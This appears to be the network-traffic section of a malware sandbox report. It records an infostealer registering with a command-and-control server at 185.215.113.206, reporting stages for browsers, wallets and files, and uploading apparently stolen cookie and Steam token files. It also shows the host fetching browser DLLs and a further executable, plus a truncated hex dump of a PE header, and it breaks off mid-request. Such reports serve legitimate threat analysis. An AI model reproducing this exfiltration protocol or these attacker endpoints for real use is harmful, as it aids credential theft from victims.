Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 20:05:59 GMTContent-Type: application/octet-streamContent-Length: 1858048Last-Modified: Wed, 20 Nov 2024 19:42:35 GMTConnection: keep-aliveETag: "673e3bab-1c5a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4a 00 00 04 00 00 39 d0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c eb 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ea 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 77 71 78 6d 77 6c 6f 00 40 19 00 00 b0 30 00 00 3c 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 66 7a 66 77 6f 69 62 00 10 00 00 00 f0 49 00 00 04 00 00 00 34 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4a 00 00 22 00 00 00 38 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 38 41 44 37 43 44 35 37 37 45 33 31 38 36 32 36 36 35 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="hwid"228AD7CD577E3186266598------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="build"mars------EGHJKFHJJJKJJJJKEHCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="message"browsers------DBGIJEHIIDGCFHIEGDGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 2d 2d 0d 0a Data Ascii: ------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="message"plugins------BGIJJKKJJDAAAAAKFHJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 2d 2d 0d 0a Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="message"fplugins------DGDHJEGIEBFHDGDGHDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 185.215.113.206Content-Length: 5883Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCFBFBAEBKJKEBGCAEHHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 2d 2d 0d 0a Data Ascii: ------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EHCFBFBAEBKJKEBGCAEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file"------KKEHDBAEGIIIEBGCAAFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKKEHDHCBFIEBFBGIDHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 2d 2d 0d 0a Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="file"------BKEBFHIJECFIDGDGCGHC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKFBFIJJECGCAAAFCBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 2d 2d 0d 0a Data Ascii: ------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="message"wallets------JJKFBFIJJECGCAAAFCBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHCGHJDBFIIDGDHIJDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 2d 2d 0d 0a Data Ascii: ------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="message"files------ECFHCGHJDBFIIDGDHIJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="file"------GCBKECAKFBGCAKECGIEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFIDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="message"ybncbhylepme------EHDBGDHDAECBGDHJKFID--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: 